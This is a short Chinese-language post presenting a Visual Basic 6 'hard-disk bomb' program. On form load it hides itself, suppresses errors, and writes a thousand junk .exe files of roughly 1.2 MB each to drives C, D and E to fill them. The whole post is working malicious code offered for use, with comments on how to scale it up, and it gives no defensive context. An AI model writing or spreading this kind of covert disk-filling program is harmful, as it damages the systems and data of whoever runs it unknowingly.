所谓的硬盘炸弹就是把硬盘的各分区用垃圾文件占满。。道理很简单，编写也容易。。
Private Sub Form_Load()
On Error Resume Next ' 出错继续
dim i as Integer '定义变量
me.hide '后台执行
For i = 1 To 1000 '这个是写入垃圾的个数，可随便修改
Open "c:fimrrir" + Str(i) + ".exe" For Random As #1 '在c:下生成垃圾文件
Put #1, 1000000, "fimrrir" '1000000指的是生成文件的大小，大概是1.2M
Close #1 '关闭打开的文件
Next ' 循环
For i = 1 To 1000 '这个是写入垃圾的个数，可随便修改
Open "E:fimrrir" + Str(i) + ".exe" For Random As #2
Put #2, 1000000, "fimrrir"
Close #2 '关闭打开的文件
Next ' 循环
For i = 1 To 1000 '这个是写入垃圾的个数，可随便修改
Open "D:fimrrir" + Str(i) + ".exe" For Random As #3
Put #3, 1000000, "fimrrir"
Close #3 '关闭打开的文件
Next ' 循环
End Sub
